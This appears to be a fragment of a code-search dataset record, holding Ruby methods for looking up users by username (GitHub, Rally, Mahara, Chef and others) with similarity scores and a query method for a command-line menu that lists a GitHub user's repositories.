"def fetch!\n github_user = client.user(login)\n\n @name = (github_user['name'] || login) # Fall back to login if no name specified\n @company = github_user['company']\n @email = github_user['email']\n\n github_user\n end",
"def username\n @username ||= match[3]\n end",
"def username\n @username ||= match[3]\n end",
"def find_user(request, username, password)\n\n end",
"def find user_name\n response = @client.action \"DescribeUser\", \"Name\" => user_name\n\n Response::User.new response.body['DescribeUserResponse']\n rescue Hugs::Errors::BadRequest\n end",
"def find_user(username)\n user_search_form = @mahara_dashboard_page.form_with(:id => 'usf')\n user_search_form.field_with(:name => \"query\").value = username\n find_contacts_page = user_search_form.submit\n # extract all users from the search result list\n friendslist = find_contacts_page.at('#friendslist')\n users = extract_members(friendslist, nil, 'individual', false)\n end",
"def get_user_by_username(name)\n resp = request('getUserByUsername', {:username => name})['user']\n resp['username'].empty? ? nil : User.new(self, resp)\n end",
"def find_by_credentials(credentials)\n credential = credentials[0].dup\n credential.downcase! if @klass.sorcery_config.downcase_username_before_authenticating\n @klass.sorcery_config.username_attribute_names.each do |name|\n @user = @klass.first(name => credential)\n break if @user\n end\n !!@user ? @klass.get(@user.id) : nil\n end",
"def find_user(name)\n if ( name.downcase != name )\n @logger.info \"Looking for #{name.downcase} instead of #{name}\"\n end\n\n if @cached_users.has_key?(name.downcase)\n return @cached_users[name.downcase]\n end\n\n single_user_query = RallyAPI::RallyQuery.new()\n single_user_query.type = :user\n single_user_query.fetch = @detail_user_fetch\n single_user_query.page_size = 200 #optional - default is 200\n single_user_query.limit = 90000 #optional - default is 99999\n single_user_query.order = \"UserName Asc\"\n single_user_query.query_string = \"(UserName = \\\"\" + name + \"\\\")\"\n\n query_results = @rally.find(single_user_query)\n\n if query_results.total_result_count == 0\n return nil\n else\n # Cache user for use next time\n this_user = query_results.first\n @cached_users[this_user[\"UserName\"].downcase] = this_user\n @logger.info \"Caching User: #{this_user.UserName}\"\n\n return this_user\n end\n end",
"def extract_author_name\n `git config user.name`.strip\n end",
"def commit_user(githubuser, commituser)\n\n users = db[:users]\n\n name = commituser['name']\n email = commituser['email'] #if is_valid_email(commituser['email'])\n # Github user can be null when the commit email has not been associated\n # with any account in Github.\n login = githubuser['login'] unless githubuser.nil?\n\n # web-flow is a special user reserved for web-based commits:\n # https://api.github.com/users/web-flow\n # We do not follow the process below as this user's email\n # ([email protected]) clashes other existing users' emails.\n if login == 'web-flow'\n return ensure_user_byuname('web-flow')\n end\n\n return ensure_user(\"#{name}<#{email}>\", false, false) if login.nil?\n\n dbuser = users.first(:login => login)\n byemail = users.first(:email => email)\n\n if dbuser.nil?\n # We do not have the user in the database yet\n added = ensure_user(login, false, false)\n\n # A commit user can be found by email but not\n # by the user name he used to commit. This probably means that the\n # user has probably changed his user name. Treat the user's by-email\n # description as valid.\n if added.nil? and not byemail.nil?\n warn \"Found user #{byemail[:login]} with same email #{email} as non existing user #{login}. Assigning user #{login} to #{byemail[:login]}\"\n return users.first(:login => byemail[:login])\n end\n\n # This means that the user's login has been associated with a\n # Github user by the time the commit was done (and hence Github was\n # able to associate the commit to an account), but afterwards the\n # user has deleted his account (before GHTorrent processed it).\n # On absense of something better to do, try to find the user by email\n # and return a \"fake\" user entry.\n if added.nil?\n warn \"User account for user #{login} deleted from Github\"\n return ensure_user(\"#{name}<#{email}>\", false, false)\n end\n\n if byemail.nil?\n users.filter(:login => login).update(:name => name) if added[:name].nil?\n users.filter(:login => login).update(:email => email) if added[:email].nil?\n else\n # There is a previous entry for the user, currently identified by\n # email. This means that the user has updated his account and now\n # Github is able to associate his commits with his git credentials.\n # As the previous entry might have already associated records, just\n # delete the new one and update the existing with any extra data.\n users.filter(:login => login).delete\n users.filter(:email => email).update(\n :login => login,\n :company => added[:company],\n :location => added[:location],\n :created_at => added[:created_at]\n )\n end\n else\n users.filter(:login => login).update(:name => name) if dbuser[:name].nil?\n users.filter(:login => login).update(:email => email) if dbuser[:email].nil?\n end\n users.first(:login => login)\n\n end",
"def user_for_username!(username)\n fail Errors::MalformedRequest unless username\n Models::User.find_by(username: username) || fail(Errors::NoSuchModel)\n end",
"def username_by_email(email)\n request = client.search_users(email)\n if (request[:total_count]).zero?\n raise GithubIntegration::UsernameResolveException, \"User with email '#{email}' was not found\"\n end\n request[:items].first[:login]\n end",
"def create_user(username)\n if Commitchamp::User.find_by(login: username) == nil\n user = @github.get_user(username)\n Commitchamp::User.find_or_create_by(login: user['login'])\n end\n Commitchamp::User.find_by(login: username)\n end",
"def user_by_username(username)\n get(\"/v1/users/find\", username: username)\n end",
"def findUserByVanityName(name)\n method = 'findUser'\n type = User\n args = {:vanityName=>name}\n return_object type,method,args\n end",
"def get_user(username)\n Chef::Log.info username\n user = @node[:users][username]\n Chef::Log.info user.inspect\n user\nend",
"def find_user(user)\n user = user_entry(user) if user.is_a?(String)\n case user\n when :anonymous then nil\n when User then user\n when Symbol then users(user)\n when Integer then User.find(user)\n end\n end",
"def get_user_with_nick(nick)\n @users.values.each do |u|\n return u if u.nick == nick\n end\n nil\n end",
"def find_profile_user(full_name)\n name = split_phrase(full_name)\n profile = Profile.find_by_first_name_and_last_name(name.first, name.last)\n user = profile.user unless profile.blank?\n user\n end",
"def get_user(name, user_list = users)\n return name if name.instance_of?(GoodData::Membership)\n name.downcase!\n user_list.each do |user|\n return user if user.uri.downcase == name ||\n user.login.downcase == name ||\n user.email.downcase == name\n end\n nil\n end",
"def username\n response = get 'v1/market/private/user/username.json'\n response[:username]\n end",
"def translate_github_user_to_jira_user (github_user_object)\n #Example: [email protected]\n #user_email_domain = thrillist.com\n #user_email_prefix = msolomon\n if github_user_object[\"email\"] != nil\n user_email_domain = github_user_object[\"email\"].split('@')[1]\n user_email_prefix = github_user_object[\"email\"].split('@')[0]\n\n #convert prefix to JIRA markdown or a link to github name if email domain is not thrillist\n if user_email_domain == \"thrillist.com\"\n user = user_email_prefix.insert(0, \"[~\") + \"]\"\n end\n else\n user = \"[\"+github_user_object[\"login\"]+\"|\"+github_user_object[\"html_url\"]+\"]\"\n end\n\n #overwrite special cases\n case github_user_object[\"login\"]\n when \"kpeltzer\"\n user = \"[~kpeltzer]\"\n when \"ken\"\n user = \"[~kpeltzer]\"\n when \"kwadwo\"\n user = \"[~kboateng]\"\n when \"tarasiegel\"\n user = \"[~tsiegel]\"\n when \"samiamorwas\"\n user = \"[~mhaarhaus]\"\n when \"patrick\"\n user = \"[~plange]\"\n when \"pfunklange\"\n user = \"[~plange]\"\n when \"stefsic\"\n user = \"[~ssicurelli]\"\n when \"lmon\"\n user = \"[~lukemonaco]\"\n when \"schuylerpenny\"\n user = \"[~spenny]\"\n when \"khalid-richards\"\n user = \"[~krichards]\"\n when \"THRILL-jacinto\"\n user = \"[~jacinto]\"\n when \"emchale\"\n user = \"[~emchale]\"\n when \"mpriscella\"\n user = \"[~mpriscella]\"\n when \"vtapia5070\"\n user = \"[~vtapia]\"\n when \"bethannezink\"\n user = \"[~bzink]\"\n when \"boskonyc\"\n user = \"[~bblagojevic]\"\n when \"fabriceTOUSSAINT\"\n user = \"[~ftoussaint]\"\n when \"mdgreenwald\"\n user = \"[~mgreenwald]\"\n when \"morelme\"\n user = \"[~mmorel]\"\n when \"vitaly-rozman\"\n user = \"[~vrozman]\"\n end\n\n return user\nend",
"def find_user_by_login(login)\n GoodData::Domain.find_user_by_login(self, login, client: client)\n end",
"def find_all_collabs_for_repo\n puts \"Enter a repo name with *EXACT* spelling and capitalization:\"\n input = gets_user_input\n repo_by_project_name = find_repo_by_project_name(input)\n if repo_by_project_name == nil\n puts \"No repo found\"\n else\n repo_by_project_name.users.each do |user|\n puts user.github_username\n end\n end\n menu\n end",
"def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end",
"def named_user(name = context&.user)\n return nil if name.nil?\n\n users.find { |c| c.name == name }\n end",
"def get_user_by_handle(handle)\n return User.where(handle: handle).first\n end",
"def drupal_user\n DrupalUsers.find_by_name(self.username)\n end",
"def drupal_user\n DrupalUsers.find_by_name(self.username)\n end",
"def user\n UserRepository.find(user_id)\n end",
"def find_user(user_id)\n user = User.find(user_id)\n user\n end",
"def pull_request_user\n\t\tpull_request_where == 'jackrabbit' ? ALF_CFG['username'] : ALF_CFG['cedar_username']\n\tend",
"def parse_repo\n matches = @source_url.match @github_regexp\n return unless matches\n owner = matches[:owner]\n name = matches[:name]\n \"#{owner}/#{name}\"\n end",
"def set_github_user\n @github_user = GithubUser.find_by(id: params[:id]) || GithubUser.find_by(github_id: params[:id])\n end",
"def test_github_profile_exists\n people.each do |name, info|\n github_username = info.fetch(\"github\", false)\n if github_username\n assert_kind_of Sawyer::Resource, octokit.user(github_username), \"#{github_username} is not a real GitHub account\"\n end\n end\n end",
"def identify(username_or_email)\n return nil if username_or_email.blank? or username_or_email == 'Public'\n \n if username_or_email =~ /@/ \n active.find_by_email(username_or_email)\n else\n active.find_by_username(username_or_email)\n end \n end",
"def edit\n @user = find_user(params[:username])\n end",
"def test_input_username_retrieves_info_from_github\n skip\n # get \"/\"\n # post \"/profile\"\n assert_equal \"https://api.github.com/users/stevefake/repos\", \"\"\n end",
"def valid_user?(repo, options = {})\n response = get(repo.public_users_path, options)\n if response[:id].present?\n true\n else\n raise Github::UserNotFound, [NO_USER,\n '[',\n response[:message].to_s,\n ']'].join\n end\n end",
"def get_username()\n username_gitconfig = %x(git config user.name).strip\n username_passwd = Etc.getpwnam(Etc.getlogin).gecos.gsub(/ - SBP.*/,'')\n\n username = username_gitconfig unless username_gitconfig.nil?\n username = username_passwd if username.empty?\n username\n end",
"def get_user_id(username)\n # .........\n end",
"def profile\n # grab the username from the URL as :id\n if(User.find_by_username(params[:id]))\n @username = params[:id]\n else\n # redirect to 404\n redirect_to root_path, :notice=> \"User not found!\"\n end\nend",
"def find_by_username_password(username, password)\n User.find_by_username(username).try(:credential).try(:authenticate_by_password, password).try(:user)\n end",
"def loggin\n @user = User.find_by(username: params[:username])\n end",
"def find_user(username, discrim = nil)\n users = @users.values.find_all { |e| e.username == username }\n return users.find { |u| u.discrim == discrim } if discrim\n\n users\n end",
"def username\n username = user.username\n end",
"def user_by_name(name)\n @users[name]\n end",
"def find_user_by_id(id)\n users.find_by_id(id)\n end"
] |
[
"0.7636575",
"0.73829395",
"0.716371",
"0.70464426",
"0.7036635",
"0.70225173",
"0.6875102",
"0.68219054",
"0.6813279",
"0.67496395",
"0.6738631",
"0.67231774",
"0.67165166",
"0.66986233",
"0.6677872",
"0.6675861",
"0.66726977",
"0.66726977",
"0.6670515",
"0.6662484",
"0.66613823",
"0.6644832",
"0.6638018",
"0.6637346",
"0.6623639",
"0.6604447",
"0.659728",
"0.659268",
"0.6587876",
"0.6574697",
"0.65720826",
"0.6551373",
"0.6548159",
"0.6524442",
"0.6484655",
"0.64722157",
"0.64568394",
"0.64568186",
"0.6408187",
"0.6406525",
"0.6391354",
"0.6379503",
"0.6379503",
"0.6369355",
"0.6343495",
"0.6287122",
"0.6281283",
"0.6279847",
"0.6265159",
"0.625944",
"0.62563366",
"0.6251511",
"0.62450707",
"0.62211955",
"0.62185156",
"0.62135535",
"0.6205965",
"0.62045145",
"0.6198274",
"0.61884815",
"0.61806524",
"0.6174658",
"0.6165324",
"0.616343",
"0.6149691",
"0.61472005",
"0.6136687",
"0.6131352",
"0.6128915",
"0.61175275",
"0.6115045",
"0.6107234",
"0.6093847",
"0.60782963",
"0.60734075",
"0.6073394",
"0.60707974",
"0.6059696",
"0.60562134",
"0.6055639",
"0.6055639",
"0.6052054",
"0.6045037",
"0.60359263",
"0.6032262",
"0.6030994",
"0.6025273",
"0.6024334",
"0.60230565",
"0.60202736",
"0.6020103",
"0.60193074",
"0.60027725",
"0.59923",
"0.5992052",
"0.59809434",
"0.597694",
"0.5973967",
"0.5968659",
"0.5967189"
] |
0.7877664
|
0
|
Find by username Menu options
|
def find_by_username_menu
puts
puts "Enter a GitHub username with *EXACT* capitalization to list that user's repos:"
input = gets_user_input
#if username exists in our DB, don't make API call.
if !username_exists?(input)
#making an API call
get_data(input)
end
if find_user(input) == false
puts "That user doesn't exist or doesn't have any public repos"
menu
else
@user = find_user(input)
end
@repos = find_repos(@user)
if show_repos(@repos) == false
puts "User has no repos"
menu
end
find_by_username_sub_menu
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_user\n puts \"Please enter your name.\"\n name_input = gets.chomp\n system \"clear\"\n actual_user = User.find_by(name: name_input) #look up user name\n if !actual_user #check if name matches user input\n puts \"we could not find that user name. Please try again.\"\n find_user\n else\n @user = actual_user #set the user name to a class variable for later user\n main_menu_options #send user to main menue\n end\n end",
"def names_by_user # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:Name, :by_user, :user => user)\n show_selected_names(query)\n end\n end",
"def find_by_username(username)\n find_by(username: username.downcase)\n end",
"def find_member\n @trello.find_member_by_username(users[@selected_commander][:trello_name])\n end",
"def users_by_name # :norobots:\n if is_in_admin_mode?\n query = create_query(:User, :all, by: :name)\n show_selected_users(query)\n else\n flash_error(:permission_denied.t)\n redirect_to(action: \"list_rss_logs\")\n end\n end",
"def keyword_find(user)\n pastel = Pastel.new\n puts \" \"\n puts pastel.white.inverse.bold(\"Please enter a keyword to search by.\")\n keyword = gets.chomp \n Joke.find_by_keyword(keyword)\n self.return_to_menu(user) \n end",
"def names_by_editor # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:Name, :by_editor, :user => user)\n show_selected_names(query)\n end\n end",
"def menu\n ([[0, 'Choisir l’icarien…']] + User.values_select(type_icarien => true)).in_my_select(id: 'opuser_user_id', name: 'opuser[user_id]', selected: param_opuser[:user_id])\n end",
"def find_by_username\n User.find_by_username(@username_or_id)\n end",
"def find_in_ad(options = {:key => :username})\n username = send(options[:key])\n ad_user = self.class.ad_query_by_username(username)\n return nil if ad_user.nil?\n self.map_user_from_ad(ad_user)\n true\n end",
"def menu_user\n find('.profile-address')\n \n end",
"def list_all_users(menu)\n system('clear')\n puts \"All users currently in the system:\"\n puts \"==================================\"\n puts User.pluck(:name)\n puts\n puts \"Press enter to return to main menu.\"\n STDIN.gets.chomp\n if menu == \"user_select_menu\"\n self.welcome_message\n elsif menu == \"main_menu\"\n @menu_message = nil\n self.main_menu\n end\nend",
"def users_by_name\n if in_admin_mode?\n query = create_query(:User, :all, by: :name)\n show_selected_users(query)\n else\n flash_error(:permission_denied.t)\n redirect_to(action: \"list_rss_logs\")\n end\n end",
"def find_by_username!\n User.find_by_username!(@username_or_id)\n end",
"def find_user(username)\n user_search_form = @mahara_dashboard_page.form_with(:id => 'usf')\n user_search_form.field_with(:name => \"query\").value = username\n find_contacts_page = user_search_form.submit\n # extract all users from the search result list\n friendslist = find_contacts_page.at('#friendslist')\n users = extract_members(friendslist, nil, 'individual', false)\n end",
"def find_by_id_or_username!\n if input_is_id?\n find_by_id!\n else\n find_by_username!\n end\n end",
"def menu\n\n puts \"________________\"\n\n puts \"insert the user name to continue\"\n @user_name = gets.chomp\n response = User.find_by(user_name: @user_name)\n\n puts \"________________\"\n\n if response\n \n mainscreen\n else\n puts \"try again\"\n menu\n end\n end",
"def find_by_id_or_username\n if input_is_id?\n find_by_id\n else\n find_by_username\n end\n end",
"def suggest_user\n skope = User.scoped\n skope = skope.where(\"username LIKE ?\", \"%#{params[:term]}%\")\n @team.members.all.each do |member|\n skope = skope.where(User.arel_table[:id].not_eq(member.user.id))\n end\n\n skope = skope.limit(10)\n\n respond_with(skope.all.map{|x| {:label => x.username, :value => x.id}})\n end",
"def user_select(items)\n h.choose do |menu|\n menu.index = :number\n menu.prompt = 'Please Choose One:'\n menu.select_by = :index_or_name\n items.each do |item|\n menu.choice item.to_sym do |command|\n ui.msg \"Using: #{command}\"\n selected = command.to_s\n end\n end\n menu.choice :all do return :all end\n menu.choice :exit do exit 1 end\n end\n end",
"def get_user(username, users)\n puts \"Searching for user '#{username}'\"\n users.each do |user|\n return user if user[:username] == username\n end\n puts \"User #{username} not found!\"\n return nil\n end",
"def login_dialogue(users)\r\n print \"Username: \"\r\n entered_username = Readline.readline.strip\r\n user_index = users.find_index { |user| user.username == entered_username }\r\n return user_index\r\nend",
"def get_users input\n\t\t@users[input]\n\tend",
"def suggest\n main_page_cred\n @user = current_user\n end",
"def usernamesearch(field_hash)\n usersearch(field_hash)\n end",
"def look_for_user(name)\n User.find_by name: name\nend",
"def find_game\n prompt = TTY::Prompt.new\n prompt.select(\"Would you like to search by..\") do |menu|\n menu.choice \"System\", -> {view_by_system}\n menu.choice \"Category\", -> {view_by_category}\n menu.choice \"Back to Main Menu\", -> {welcome}\n end\n end",
"def find_user_byname(username)\n # accept a username input parameter\n # use the User Model class to find all Users with the supplied username. \n # NOTE: Username is not unique in the Users table, thus you can have many users with the same username.\n # return a collection of User instances that match the provided username\n @user_names = User.where(:username => username)\n @user_names\n end",
"def select_user(id)\n\n user_array = @users.find do |user|\n user.slack_id == id || user.name == id\n end\n # @selected is an instance of the chosen user\n @selected = user_array\n\n puts \"user #{id} not found\" if @selected.nil?\n\n return @selected\n\n end",
"def find_uiby_username(uname)\n User.all.find do |user|\n if user.username == uname \n user \n end\n end\n end",
"def username\n @username||=@options['username']\n end",
"def find_user_byname(username)\n @user = User.where(username: username)\n end",
"def user_select(items)\n choose do |menu|\n menu.index = :number\n menu.prompt = \"Please Choose One:\"\n menu.select_by = :index_or_name\n items.each do |item|\n menu.choice item.to_sym do |command| \n say \"Using: #{command}\" \n selected = command.to_s\n end\n end\n menu.choice :exit do exit 1 end\n end\n end",
"def ask_for(message,array_of_namepath)\n result = choose do |menu|\n menu.prompt = message\n array_of_namepath.each do |x|\n menu.choice x.name.to_sym\n end\n end\n array_of_namepath.find {|x| x.name==result.to_s}\n end",
"def user_choice_of_object_in_class(class_object)\n create_menu = Menu.new(\"Which #{class_object.name} do you want to look up?\")\n all = class_object.all\n all.each_with_index do |object, x|\n create_menu.add_menu_item({key_user_returns: x + 1, user_message: object.to_s, do_if_chosen: \n [object]})\n end\n return run_menu(create_menu)[0]\n end",
"def find(nick)\n @users.find { |u| u.nick.downcase == nick.downcase }\n end",
"def find_by_id\n User.find_by_id(@username_or_id)\n end",
"def wiki_menu_select\n wiki_menu\n prompt = TTY::Prompt.new\n menu_choices = [\n \" [1] Search by Character\",\n \" [2] Search by House\",\n \" [3] Main Menu\",\n \" [4] Exit App\"\n ]\n prompt.select(\" \", menu_choices)\nend",
"def reporthelp_user_selection( form, users )\n if ( users.empty? )\n return ''\n else\n return apphelp_collection_select(\n form,\n 'reportable_user_ids',\n users,\n :id,\n :name\n )\n end\n end",
"def search_by_username(search_username)\n #will return all values except the current user\n User.find(:all, :conditions => [\"username LIKE ? AND username <> ?\", \"%#{search_username}%\", \"#{self.username}\"])\n end",
"def name_descriptions_by_author # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:NameDescription, :by_author, :user => user)\n show_selected_name_descriptions(query)\n end\n end",
"def user_list\n appWelcome\n @path = Dir.glob('*').join(', ').to_s\n if File.exist?(@path)\n clear\n appWelcome\n puts 'Select your profile'\n profile_menu = [\n { File.basename(@path, '.yml') => -> do user_menu end },\n { 'Quit' => -> do exit_app end }\n ]\n $prompt.select('', profile_menu)\n\n # user_menu\n else\n no_creation_of_profile\n clear\n end\n end",
"def name_descriptions_by_editor # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:NameDescription, :by_editor, :user => user)\n show_selected_name_descriptions(query)\n end\n end",
"def items_menu_prompt(**)\n 'Select an EMMA user account' # TODO: I18n\n end",
"def user_filter_options username=nil\n user_list = User.by_name.map { |u| [u.username, u.username] }\n user_list.unshift ['All users', 'all']\n\n selected = get_user_filter username\n options_for_select user_list, selected\n end",
"def get_recipe_name_from_user\n puts \"\\nEnter a recipe name or ingredients you want to search by:\\n \".colorize(:green).bold\n find_by_name = gets.strip.downcase\n end",
"def user_choice_of_object_in_class(class_object)\n create_menu = Menu.new(\"Which #{class_object.name} do you want to look up?\")\n all = class_object.all\n all.each_with_index do |object, x|\n object_to_s = object.attributes.map{|k,v| \"#{k}: #{v}\"}.join(', ')\n create_menu.add_menu_item({key_user_returns: x + 1, user_message: object_to_s, do_if_chosen: \"#{object.id}\"})\n end\n create_menu\n end",
"def get_username mode=\"new\"\n\t\tputs \"Please enter your username:\"\n\t\tinput = gets.chomp.downcase\n\t\tuntil !input.empty? && input[0,1]!='.' && input != \"menu\"\n\t\t\tputs \"\",\"The username can't be empty, menu, or start with '.'. \",\"Please enter another username:\"\n\t\t\tinput = gets.chomp\n\t\tend\n\t\t@username = input\n\tend",
"def find_by_id!\n User.find(@username_or_id)\n end",
"def my_account(user)\n router = nil\n message = []\n # base options\n options = [\n [\"Change Name\", 12],\n [\"Delete Account\", 7],\n [\"Log Out\", 4],\n [\"Main Menu\", 2],\n [\"Exit\", 1]\n ]\n # display loop until validated choice\n until router\n display_menu_header([\"My Account:\"], user)\n router = display_options_menu(options, message)\n message = [\"Sorry, invalid selection. Please choose again...\"]\n end\n menu_routing(user, \"\", router)\nend",
"def find_member_by_username(username)\n @board.members.find { |m| m.username == username }\n end",
"def get_player_by_user(input_user)\n #current_name=self.playing_user_names.select{|name| self.user_hash[name] == input_user}.first\n current_name=input_user.nick #this uses user.nick, but other places use this too\n return self.player_hash[current_name] #could return nil if user doesn't exist\n end",
"def user_search(params = {})\n last_name.set params[:last_name] unless nil_or_empty? params[:last_name]\n login_id.set params[:login] unless nil_or_empty? params[:login]\n site_name.set params[:site] unless nil_or_empty? params[:site]\n site_group_select.select unless nil_or_empty? params[:site_group]\n role_select.set params[:role] unless nil_or_empty? params[:role]\n study_select.select params[:study] unless nil_or_empty? params[:study]\n unless nil_or_empty? params[:environment]\n if params[:environment].downcase == 'prod'\n env = 'Live: Prod'\n else\n env = 'Aux: ' + params[:environment].gsub(/[\\W]/, '') # sanitize study string\n end\n environment_select.select env\n end\n auth_select.select params[:authenticator] unless nil_or_empty? params[:authenticator]\n search_button.click\n sleep 5 #TODO: Figure out a way to remove this ~MD\n end",
"def options_for_user_select\n query = policy_scope(User.all.where(cleared: false)).order(:first_name, :last_name)\n options = query.map{|user| [user.full_name, user.id, {\n data: { tokens: \"#{user.username} #{user.full_name}\" }}]}\n options_for_select(options)\n end",
"def find_by_username(username)\n find_by_query do |table|\n table.where(:username => username)\n end\n end",
"def find_user?(username, users)\n users.each do |user|\n if user[0] == username\n puts user[0]\n return true\n end\n end\n return false\nend",
"def acl_select\n select_opts = []\n self.full_acl.each do |userId|\n select_opts << [User.get(userId).username, userId]\n end\n select_opts\n end",
"def auto_complete_for_user_name\n @users = session[:user].get_available_users(params[:user][:name])\n render inline: \"<%= auto_complete_result @users, 'name' %>\", layout: false\n end",
"def select_user(workspace)\n print \"Enter user id or name: \"\n choice = gets.chomp\n begin\n workspace.select_user(choice)\n rescue => exception\n puts \"Error: #{exception.message}\"\n end\nend",
"def search_admins_by_username\n unless @current_admin.is_super_admin\n flash[:error]=\"You are not authorized to navigate to this page \"\n redirect_to admin_index_path\n return\n end\n @searched_admin_username=admin_params[:username]\n if @searched_admin_username.empty?\n flash.now[:error]=\"Please, enter an username \"\n @sub_admin=Admin.new\n render 'search_admins'\n else\n @sub_admin=Admin.find_by_username(@searched_admin_username)\n if @sub_admin && !@sub_admin.is_super_admin\n session[:searched_addmin_id]=@sub_admin.id\n respond_to do |format|\n format.html\n format.js\n format.json\n end\n else\n flash[:error]=\"couldn't find admin with username => #{@searched_admin_username} \"\n render :js => \"window.location='#{search_admins_path}'\"\n end\n end\n end",
"def active\n\t\t\t\t\tfind(:all, :conditions => 'username != \"\"')\n\t\t\t\tend",
"def items_menu_prompt(user: nil, **)\n case user\n when nil, :all then 'Select an existing manifest' # TODO: I18n\n else 'Select a manifest you created' # TODO: I18n\n end\n end",
"def find_user(username, discrim = nil)\n users = @users.values.find_all { |e| e.username == username }\n return users.find { |u| u.discrim == discrim } if discrim\n\n users\n end",
"def authored_names # :nologin: :norobots:\n query = create_query(:Name, :with_descriptions)\n show_selected_names(query)\n end",
"def show\n \n begin\n if params[\"search_by_username\"].nil?\n if session[:current_user_super_admin]\n @users = User.find(:all,:order => 'username')\n else\n @users = User.find(:all,:order => 'username', :joins => :member, :conditions => ['members.center_id = ?', session[:center_id]]).paginate :page => params[:page], :per_page => 10\n end\n else\n if session[:current_user_super_admin]\n @users = User.find(:all, :conditions => ['username like ?', \"%\"+params[\"search_by_username\"]+\"%\"])\n else\n @users = User.find(:all,:order => 'username', :joins => :member, :conditions => ['members.center_id = ? and username like ?', session[:center_id], \"%\"+params[\"search_by_username\"]+\"%\"]).paginate :page => params[:page], :per_page => 10\n end\n end\n rescue ActiveRecord::RecordNotFound\n logger.error(\"Attempt to access invalid user\")\n flash[:notice] = \"User Not Found\"\n redirect_to :action => :index\n else\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @users }\n end\n end\n end",
"def get_autocomplete_items(parameters)\n session[:from_follower_following] ? @login_user.from_follower_following(parameters[:term]) : @login_user.all_message_users(parameters[:term])\n end",
"def find_users_by_name(**args)\n params = parameters(args) do\n required_params :term\n optional_params :term, :search_by_email\n end\n request(:get, 'users/find', params)\n end",
"def find_user\n @user = User.with_username(params[:id]).first\n end",
"def show\n if params[:username]\n checkusername\n end\n end",
"def search_person(name = \"\")\n\t\[email protected]_person(name)\n\tend",
"def kon_user_account_checking\n user_array = User.kon_search(params[:name])\n if user_array.length \n end\n end",
"def search_input(passthrough)\t\t\n\tcase passthrough\n\t\twhen \"mv\"\n\t\t\tputs `man mv`\n\t\twhen \"cp\"\n\t\t\tputs `man cp`\n\t\twhen \"mkdir\"\n\t\t\tputs `man mkdir`\n\t\twhen \"ls\"\n\t\t\tputs `man ls`\n\t\twhen \"rm\"\n\t\t\tputs `man rm`\n\t\telse\t\n\t\t\tputs \"Not a valid search term. Common search terms are: 'mv', 'cp', 'mkdir', 'ls', 'rm'.\"\n\t\tsearch\n\tend\n\tmenu\nend",
"def find_some(names,options={})\n return Postal.driver.selectLists(names,'')\n end",
"def user_search(options = {})\n get('users/search', options)\n end",
"def main_menu(companyname=\"Unknown\",username=\"Unknown\",client_hash)\n prompt = TTY::Prompt.new(symbols: {marker: \">\"})\n input = \"\"\n while input != \"Exit\"\n system('clear')\n Debug.show \"Debug ON\\ninput: #{input} | company_name: #{companyname} | username: #{username}\"\n menuoptions = [\"Add new client\",\"Search client\",\"Exit\"]\n menuoptions.delete(\"Add new client\") if username == \"guest\"\n input = prompt.select(\"#{companyname} accounts\\n\\nLogged in as user #{username}\\n\\nTotal clients: #{client_hash[:clients].length}\\n\\n\", menuoptions)\n \n if input == \"Add new client\"\n client_hash = add_new_client(client_hash)\n end\n\n if input == \"Search client\"\n clientsearch(client_hash,username)\n end\n end\n return input\nend",
"def [](name)\n handle = system.run(:search, \"user\", name, nil, @keyring)\n return nil if handle == -1\n\n system.get(:read, handle)\n end",
"def findUserByVanityName(name)\n method = 'findUser'\n type = User\n args = {:vanityName=>name}\n return_object type,method,args\n end",
"def check_username\n @user=User.where('username=?',params[:username])\n @user=[] if user_signed_in? && @user && @user.first==current_user # this means they are editing their username and its themselves, that is ok\n end",
"def find_by_credentials(credentials)\n credential = credentials[0].dup\n credential.downcase! if @klass.sorcery_config.downcase_username_before_authenticating\n @klass.sorcery_config.username_attribute_names.each do |name|\n @user = @klass.first(name => credential)\n break if @user\n end\n !!@user ? @klass.get(@user.id) : nil\n end",
"def show\n #@user = User.find_by(username: params[:username])\n Rails.logger.info params\n\n conditions = {}\n conditions[:name] = params[:name]\n\n Rails.logger.info conditions\n\n @league = League.find(:all, :conditions => conditions)\n #@user = User.find(params[:username])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @league}\n end\n end",
"def find_byp_username(uname)\n User.all.find do |user|\n if user.username == uname \n @a = \"#{user.password}\"\n end\n end\n @a\n end",
"def choose_game(user)\n user == \"guest\" ? username = \"guest\" : username = user.name\n entry = nil\n message = []\n until entry\n display_menu_header([\"Game Search:\"], user)\n entry = display_string_menu([\"Please type a game title: \"], message)\n message = [\"Sorry, invalid game title. Please try again...\", \"You can also type 'exit' to exit or 'main' to go back.\"]\n exit_game_reviews if entry.downcase == \"exit\"\n main_menu(user) if entry.downcase == \"main\"\n game = Game.find_by(lowercase_name: entry.downcase)\n game = Game.where([\"name like ?\", \"%#{entry.downcase}%\"]).limit(1)[0] if !game\n entry = nil if !game || entry.size < 3\n end\n display_footer([\"Found an entry for #{game.name}!\"])\n game_menu(user, game)\nend",
"def search_command\n name = get_param(\"name=\", \"([a-zA-Z]+)\")\n\n if name\n @app.search name\n else\n puts \"Error!: A name is required to search an animal\"\n search_command_help()\n end\n end",
"def user_by_name(name)\n @users[name]\n end",
"def search_users\n unless @current_admin.is_super_admin\n unless @current_admin.privilages.include? '1'\n flash[:authority_error]=\"You are not authorized to navigate to this page \"\n redirect_to admin_index_path\n empty_user_id\n return\n end\n end\n empty_user_id\n @check=0\n @searched_user=User.new\n end",
"def search_users_by_username\n @check=0\n @username=updated_user_params[:username]\n if @username.empty?\n flash.now[:error]=\"Please, enter an username \"\n @all_searched_users=Array.new\n render 'search_users'\n else\n @all_searched_users=User.where(\"username like ?\", \"%\"+@username+\"%\").paginate(:page => params[:page], :per_page => 9)\n if @all_searched_users && !@all_searched_users.empty?\n @searched_user=User.new\n render 'search_users'\n else\n @searched_user=User.new\n @all_searched_users=Array.new\n render 'search_users'\n end\n end\n end",
